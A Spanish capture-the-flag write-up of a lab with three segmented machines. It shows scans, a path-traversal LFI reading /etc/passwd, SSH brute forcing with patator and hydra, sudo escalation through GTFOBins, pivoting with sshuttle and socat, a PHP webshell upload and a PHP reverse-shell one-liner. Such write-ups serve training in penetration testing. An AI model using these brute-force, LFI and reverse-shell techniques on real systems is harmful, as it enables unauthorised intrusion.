# LittlePivoting

Este writeup documenta el proceso de explotación de una máquina en un entorno segmentado,\
donde se requiere pivoting para escalar privilegios y obtener acceso total. Utilizamos técnicas\
como&#x20;sshuttle&#x20;para tunelizar tráfico,&#x20;socat&#x20;para redirigir conexiones y vulnerabilidades en\
sudo&#x20;para la escalada de privilegios.

Desplegar:\
sudo ./auto\_deploy.sh inclusion.tar trust.tar upload.tar

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fgi9EFLwqy7N8EdDcQ6RW%2Fimage.png?alt=media&#x26;token=16433fdb-77eb-4611-a047-a561ec87f931" alt=""><figcaption></figcaption></figure>

nmap -p- -vvv -sS --min-rate 5000 -Pn 10.10.10.2 -oG scan

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FsqU1aqOsFrZL1siKvmer%2Fimage.png?alt=media&#x26;token=fa86052b-1589-4a5f-8ce0-3c6c0a0d254a" alt=""><figcaption></figcaption></figure>

nmap -p22,80 -sCV 10.10.10.2 -oN ports

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FwrEML3E76sot95M24cS3%2Fimage.png?alt=media&#x26;token=c2868f92-f2bb-47aa-bcc5-7e39f57c7f8a" alt=""><figcaption></figcaption></figure>

Encontramos los puertos 22 y 80 abiertos, lo que sugiere la presencia de SSH y un servidor\
web. Luego, profundizamos con&#x20;whatweb&#x20;y&#x20;gobuster

whatweb 10.10.10.2

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2F5Rf72jEZUdjyBgU87778%2Fimage.png?alt=media&#x26;token=b300116a-e190-4779-961f-b7710a5062f1" alt=""><figcaption></figcaption></figure>

gobuster dir -u <http://10.10.10.2/> -w /usr/share/seclists/Discovery/Web\
Content/directory-list-2.3-big.tx

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fdx4kuAOuCk7XMaiLSQr8%2Fimage.png?alt=media&#x26;token=7b2a4c60-f2d3-46a5-81ae-efbfb3f257be" alt=""><figcaption></figcaption></figure>

Ingresando a:[ ](http://10.10.10.2/shop/)

{% embed url="<http://10.10.10.2/shop/>" %}

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2F6kinZB9dTtQzYCnncpim%2Fimage.png?alt=media&#x26;token=4b1a49ee-38ee-4e75-aae7-838a3435abea" alt=""><figcaption></figcaption></figure>

Este fragmento indica que la aplicación está utilizando el valor del parámetro\
archivoen elcódigo sin una validación o sanitización adecuada. <br>

En PHP,&#x20;$\_GET\['archivo']se usa para&#x20;obtener el valor de una variable pasada en la URL a través del método&#x20;GET. <br>

Si el código PHP usa algo como

include($\_GET\['archivo']); o&#x20;file\_get\_contents($\_GET\['archivo']) <br>

Entonces el valor de&#x20;archivos. se insertará directamente en una operación de inclusión de&#x20;archivos.\
Esto sugiere que podemos manipular este parámetro para forzar la carga de archivos\
arbitrarios, lo que lleva a una vulnerabilidad de Inclusión de Archivos Locales (LFI, Local\
File Inclusion).

Al realizar ffuf con gobuster hacia el directorio /shop, el resultado es la existencia del archivo\
index.ph

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FQXlKM8t7mugYZWyLltD9%2Fimage.png?alt=media&#x26;token=a6a9a700-9bcf-4bc7-ac40-15a80a74fced" alt=""><figcaption></figcaption></figure>

Si la aplicación permite rutas arbitrarias en&#x20;archivo, podemos intentar escapar del directorio&#x20;de trabajo y acceder a archivos del sistema usando secuencias de "path traversal"  (../)&#x20;

Sabemos que&#x20;index.php&#x20;está esperando un valor para el parámetro "archivo" , por lo que debemos estructurar la URL para enviarle una ruta específica.

Si la aplicación permite rutas arbitrarias en "archivo"  podemos intentar escapar del directorio\
de trabajo y acceder a archivos del sistema usando secuencias de "path traversal"

Al dirigirnos a la url: 10.10.10.2/shop/index.php?archivo=../../../../../../../../../../etc/passwd

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FSWlGegbWzajhKHRza00z%2Fimage.png?alt=media&#x26;token=0fe5fab7-58d1-4be7-8dc3-4ffb7711e67d" alt=""><figcaption></figcaption></figure>

Se logró acceder y visualizar el contenido del archivo\
/etc/passwd&#x20;confirmando la&#x20;vulnerabilidad de Inclusión de Archivos Locales (LFI) en la aplicación.\
Donde pudimos ver el nombre de 2 usuarios, manchi y seller.

\
Recordando que el primer host objetivo tenia el puerto 22 abierto, asique fui por la vieja\
confiable, fuerza bruta, imagino que haz de conocer **hydra**, pero hoy traigo una alternativa.

Se llama **Patator**, no voy a hablar de ella, pero voy a dejarte la documentación para que la\
investigues, es una buena alternativa y funciona con muchos otros protocolos\
<https://www.kali.org/tools/patator/>

patator ssh\_login host=20.20.20.3 user=mario password=FILE0\
0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'\`\`

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fy4gfVk7N9DTNYFpKqGoS%2Fimage.png?alt=media&#x26;token=4e57db98-12de-443c-9250-5807bd27a9b3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2F4MCK70CJO6ne4vBzQ9pe%2Fimage.png?alt=media&#x26;token=a7b820ed-ada4-4f89-91cc-e4b40f0bed6a" alt=""><figcaption></figcaption></figure>

hydra:\
hydra -l manchi -P /usr/share/wordlists/rockyou.txt -s 22 -f 10.10.10.2 ss

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FCDgsksGTm3o8GVJzMlRl%2Fimage.png?alt=media&#x26;token=427c0f8e-bc1f-4994-b33f-9cc2b4c69162" alt=""><figcaption></figcaption></figure>

Haciendo uso de las credenciales, accedemos via Ssh:

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FCxtnH5rG8vfepBWX1WOv%2Fimage.png?alt=media&#x26;token=73f7dfd2-5a31-4145-8694-270fc77faa7e" alt=""><figcaption></figcaption></figure>

Lo primero que pensé fue en ver si manchi tenia permisos para ejecutar sudo y asi escalar\
privilegios, pero no fue así.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FhmSDeek7NIbKIBw85AfW%2Fimage.png?alt=media&#x26;token=261f7006-56a0-47d1-9527-e3a88e5b1b00" alt=""><figcaption></figcaption></figure>

Queda por intentar acceder a la cuenta de seller.

Busque realizar fuerza bruta desde mi maquina pero con ninguna de las 2 tools logre tener\
exito.

Con un poco de ayuda de chatgpt desarrolle un script para realizar BF de forma local, desde\
manchi hacia el usuario seller

Para eso, transfiero el diccionario rockyou.txt y creo el script en la maquina victima.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FxsDnP7daa1LE61n2nHLu%2Fimage.png?alt=media&#x26;token=a9105138-a72b-4ab2-960d-6b0ff8d801ab" alt=""><figcaption></figcaption></figure>

Antes que nada, recordar darle permisos de ejecucion al scrip con:\
chmod +x nombredelarchivo.sh\
El archivo rockyou.txt se lo comparti mediante un server levantado con python.

Sintaxis: ./brute-force.sh -u seller -w rockyou.txt&#x20;

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FqS0o5gnDH3VXZMf93FGs%2Fimage.png?alt=media&#x26;token=f5d58943-c2b4-4f6a-bc8e-ffb9199b085a" alt=""><figcaption></figcaption></figure>

Mediante sudo -l veo que con php podría obtener escalación de privilegios.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FG3fIKDdJHmxYX7pvrYmq%2Fimage.png?alt=media&#x26;token=5c0a55a3-6a58-43f7-869d-1bffd3f31ef1" alt=""><figcaption></figcaption></figure>

Mirando en&#x20;GTFOBins

Logro así obtener la primer escalación de privilegios.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FwpgGSeshC9itYaihfNM9%2Fimage.png?alt=media&#x26;token=80a9eacb-dd09-4f7f-8bf1-022ed4ffe0db" alt=""><figcaption></figcaption></figure>

hostname -I&#x20;reveló que la primera máquina víctima tenía asignada la IP\
20.20.20.2, además de&#x20;10.10.10.2.

Para analizar la conectividad, realicé un&#x20;ping&#x20;a&#x20;20.20.20.3, confirmando que la máquina&#x20;comprometida tenía acceso a otra red interna.

Ahora, la cosa era, como acceder a esa red...

Después de confirmar que la máquina comprometida (10.10.10.2) tiene acceso a la subred\
20.20.20.0/24, podemos utilizar sshuttle para redirigir nuestro tráfico a través de esta\
máquina y así interactuar con la red interna como si estuviéramos directamente conectados a\
ella.

sshuttle -r manchi\@10.10.10.2 20.20.20.0/24 -x 10.10.10.1

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FVE6QCB7CtzjEC8oE3hUp%2Fimage.png?alt=media&#x26;token=f805c1fd-57f6-456b-954c-5db1906acb67" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2F8nZYPis5sVAhv1Vs99Eg%2Fimage.png?alt=media&#x26;token=425141b4-e061-45ba-a97e-ae3c1686031b" alt=""><figcaption></figcaption></figure>

Una vez ejecutado este comando, podemos interactuar con la red 20.20.20.0/24&#x20;como siestuviéramos conectados directamente a ella.

Inicialmente, realicé un escaneo con Nmap para detectar puertos abiertos en el host\
20.20.20.3

nmap -Pn -p- 20.20.20.3

Sin embargo, no obtuve ninguna respuesta de los 100 primeros puertos analizados, lo que\
podría indicar la presencia de un firewall o alguna configuración que bloquee los paquetes de\
escaneo.

Dado que&#x20;Nmap&#x20;no mostró puertos abiertos, intenté verificar manualmente si había servicios en\
ejecución mediante curl:

curl -I <http://20.20.20.3>

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FtVgFy6zVxuJuCSn2Q0p8%2Fimage.png?alt=media&#x26;token=1457d36f-986d-461f-a87d-5ebd4f430cae" alt=""><figcaption></figcaption></figure>

El resultado arrojó un código de estado HTTP 200 (OK), lo que confirma que hay un servidor\
web activo en el host&#x20;20.20.20.3, probablemente en el puerto 80

El encabezado de la respuesta indica que el servidor es Apache/2.4.57 en Debian, lo que\
sugiere un posible vector de explotación en caso de vulnerabilidades conocidas

Después de identificar que el host&#x20;20.20.20.3&#x20;ejecuta un servidor web, procedí a realizar una\
enumeración de directorios y archivos utilizando Gobuster.

Inicialmente, ejecuté el siguiente comando para buscar directorios accesibles:

gobuster dir -u <http://20.20.20.3> -w /usr/share/wordlists/dirbuster/directory\
list-2.3-medium.txt -t 50 -o gobuster.txt

/server-status (Status: 403) \[Size: 275]

Dado que no encontré directorios significativos, intenté una nueva búsqueda incluyendo\
extensiones de archivos comunes (php,&#x20;txt&#x20;y&#x20;py)

gobuster dir -u <http://20.20.20.3> -w /usr/share/wordlists/dirbuster/directory\
list-2.3-medium.txt -t 50 -o gobuster.txt -x php,txt,py

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fin0ITJcVtSus1mJgkqUd%2Fimage.png?alt=media&#x26;token=53d9a9ef-254e-4d12-bf09-d917bb16364f" alt=""><figcaption></figcaption></figure>

Accediendo a&#x20;/secret.php se logra ver un cartel dirigido a un usuario llamado  "mario"

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FjIhdYhKBwpvfgoSvF6n8%2Fimage.png?alt=media&#x26;token=068593d9-71cc-4a4b-8ed8-bf227cc8de2a" alt=""><figcaption></figcaption></figure>

Con el cual prosegui a intentar realizar fuerza bruta, una vez mas, si.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FepWulCXzTWhkrRaSXiEO%2Fimage.png?alt=media&#x26;token=57bdf95e-2c5c-4a78-a00e-49a1b8b1fd3c" alt=""><figcaption></figcaption></figure>

Logrando así obtener la contraseña de ese tal mario, merecido el ser hackeado.

Gracias al ataque de fuerza bruta realizado con Patator, obtuvimos credenciales válidas para\
el usuario mario en el sistema&#x20;20.20.20.3.

Además, la tunelización con sshuttle nos permitió enrutar nuestro tráfico hacia la red\
20.20.20.0/24, dándonos acceso al servicio SSH expuesto en el puerto por defecto

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FLowi5IUFEattSjdfaKI5%2Fimage.png?alt=media&#x26;token=8ab3714c-86d5-41b5-b3f8-31ebb9113086" alt=""><figcaption></figcaption></figure>

En esta ocasion tenemos permisos de ejecucion con vim:

Del mismo modo que con php, verifique en GTFobins

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FXqxC6SNtmU3dUPSq3kWd%2Fimage.png?alt=media&#x26;token=5afc03a6-2f3c-43d3-ba7a-9352e7a818f7" alt=""><figcaption></figcaption></figure>

Tras comprometer exitosamente la máquina&#x20;20.20.20.3, logramos escalar privilegios hasta&#x20;obtener acceso root, lo que nos permitió explorar su configuración de red y posibles&#x20;conexiones con otras subredes

En esta ocasion, hostname -I, nos dice que la nueva victima, es la ip 30.30.30.2, lo que nos indicó la presencia de una nueva subred:&#x20;30.30.30.0/24.

Para comprobar si había algún servicio activo en la nueva red, intentamos un ping, nmap y\
luego un curl al posible objetivo&#x20;30.30.30.3 (desde el acceso ssh de la maquina 20.20.20.3)

curl -I <http://30.30.30.3>

El servidor respondió con un HTTP 200 OK, confirmando la presencia de un servicio web en el\
puerto 80

Redirigiendo el tráfico con sshuttle

Como nuestra máquina atacante no tenía acceso directo a la red\
sshuttle para tunelizar el tráfico a través de&#x20;20.20.20.3:&#x20;

**sshuttle -r mario\@20.20.20.3 30.30.30.0/24 --dns  #(Desde maquina atacante)**

**-r&#x20;mario\@20.20.20.3** → Se conecta a 20.20.20.3 como el usuario mario.\
**30.30.30.0/24** **→** Red que queremos enrutar a través del túnel.

**--dns →** Permite que las consultas DNS también pasen por el túnel, útil en caso de nombres\
internos.

Una vez establecida la tunelización, pudimos interactuar con 30.30.30.3 directamente desde\
nuestra máquina atacante, permitiéndonos continuar con la exploración y explotación de esta\
nueva máquina objetivo

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FJH37GRVWmoPn3mWH5Ihd%2Fimage.png?alt=media&#x26;token=0e53da14-ba09-4538-85b8-615f81f1c373" alt=""><figcaption></figcaption></figure>

Ya podemos ver y confirmar la web que nos devolvio el codigo 200 ok, desde nuestra maquina atacante, la 10.10.10.1

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FKEv0jtJk5oEtenm6A0RJ%2Fimage.png?alt=media&#x26;token=bfd9bd94-564f-46fa-ad41-bfc843a5e580" alt=""><figcaption></figcaption></figure>

Lo cual aproveche para subir una webshell que me permitiera ejecutar comandos&#x20;en el servidor, navegar por los directorios y explorar posibles vectores de escalación de&#x20;privilegios.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FX2hWPGqIqy4SlKrJkysR%2Fimage.png?alt=media&#x26;token=f406815a-8f74-48eb-8f3d-751353687fdc" alt=""><figcaption></figcaption></figure>

Con acceso a&#x20;30.30.30.3&#x20;mediante una webshell en PHP, necesitamos reenviar una reverse\
shell a&#x20;10.10.10.1&#x20;. Dado que las redes están segmentadas, configuramos túneles con&#x20;socat

Desde nuestra máquina atacante (10.10.10.1), copiamos el binario de&#x20;socat&#x20;a&#x20;10.10.10.2,&#x20;donde tenemos acceso SSH con el usuario&#x20;manchi

scp /socat&#x20;manchi\@10.10.10.2:/home/manchi/socat

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FGo1ZYBt4X5aYdndl3ro5%2Fimage.png?alt=media&#x26;token=77858160-593e-4386-a674-b6c90081feb0" alt=""><figcaption></figcaption></figure>

20.20.20.3 - 30.30.30.2 Despues a la segunda maquina que usaremos de pivoting

Desde&#x20;10.10.10.2, realizamos la transferencia a&#x20;20.20.20.3, donde tenemos acceso con el&#x20;usuario&#x20;mario

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FqxEpT0JEyLqoDpmLWptw%2Fimage.png?alt=media&#x26;token=eb108bef-c107-4994-93b1-d8323b1345ed" alt=""><figcaption></figcaption></figure>

php -r '$sock=fsockopen("30.30.30.2",4431); if($sock){ exec("/bin/sh -i <&3 &3 2>&3"); } else { echo "No connection"; }'

Esto permite que la reverse shell viaje hasta&#x20;10.10.10.1.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fq4rlJbBnTWvt8SClLDO4%2Fimage.png?alt=media&#x26;token=bbf2c757-686a-4e06-b7b5-2a8f384e3d56" alt=""><figcaption></figcaption></figure>

Escalada de Privilegios

Verificamos permisos con&#x20;sudo -l&#x20;y encontramos que&#x20;/usr/bin/env&#x20;sin contraseña:&#x20;www-data&#x20;puede ejecuta

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FIu5dienPNHwNfX4jB3YX%2Fimage.png?alt=media&#x26;token=abb1e4b4-49e4-4298-bada-c4d73c25273f" alt=""><figcaption></figcaption></figure>
